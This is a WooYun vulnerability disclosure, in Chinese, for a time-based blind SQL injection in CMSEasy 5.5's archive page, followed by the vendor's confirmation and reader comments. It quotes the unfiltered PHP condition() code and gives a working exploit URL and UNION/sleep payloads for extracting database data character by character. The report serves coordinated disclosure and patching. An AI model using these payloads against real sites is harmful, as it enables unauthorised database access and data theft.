当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075917

漏洞标题:cmseasy前台sql盲注(绕过union,sleep等函数,无需登录,无防御)

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2014-09-12 15:53

修复时间:2014-12-11 15:54

公开时间:2014-12-11 15:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-12: 细节已通知厂商并且等待厂商处理中
2014-09-13: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向第三方安全合作伙伴开放
2014-11-07: 细节向核心白帽子及相关领域专家公开
2014-11-17: 细节向普通白帽子公开
2014-11-27: 细节向实习白帽子公开
2014-12-11: 细节向公众公开

简要描述:

cmseasy 前台sql盲注(绕过union,sleep等函数,无需登录,无防御)

详细说明:

archive_act.php:(line:27-33)

}
front::check_type($this->pagesize);
$announcement = new announcement();
$this->view->announcements = $announcement->getrows(null, 10);
$this->view->usergroupid = 1000;
front::check_type(cookie::get('login_username'), 'safe');
front::check_type(cookie::get('login_password'), 'safe');
$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
$addcontentuser = new user();
$addcontentuser = $addcontentuser->getrow(array('userid' => $this->view->showarchive['userid']));


这里有一句:
$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
我们跟进去这个函数getrow:

function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition);
return $this->rec_select_one($condition,'*',$order);
}


然后在看看这个函数condition:

function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){


这里我们发现了如果传递进来的东西key没有做任何过滤,
我们发送请求:
url:http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%23]=1
在后台抓取后看看是否效果sql语句完美执行:
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
一个完美的sql语句执行完毕,这时候网页刷新时间为5秒钟,那么下来我们怎样去猜测字段
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
我们可以改变$NUM的值 这里要进行urlencode
ok剩余的就不解释了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-13 07:58

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-12 15:56 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    哥 我就知道你的沙发一定是我

  2. 2014-09-12 16:00 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    @铁蛋火车侠 哥 我就知道你的楼下一定是我

  3. 2014-09-12 16:11 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    mark,坐等3$,求请客~

  4. 2014-09-12 16:17 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @pandas 毛线 这个有些鸡肋啊,不能取出数据,只不过我加了绕过union 和 sleep 等函数的方法

  5. 2014-09-12 16:19 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    感觉咋像alipay

  6. 2014-09-12 16:21 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    只取系统信息的都是耍流氓。。

  7. 2014-09-12 16:26 | 兔子xss ( 实习白帽子 | Rank:82 漏洞数:42 | 努力学习ing)

    估计已经被提交过了

  8. 2014-09-12 17:49 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    来晚了

  9. 2014-09-12 21:53 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    参加峰会回来了,见到的肉肉,狗哥,二哥,猪猪侠他们,哈哈哈哈哈

  10. 2014-09-13 20:05 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    草,我是最后一个知道的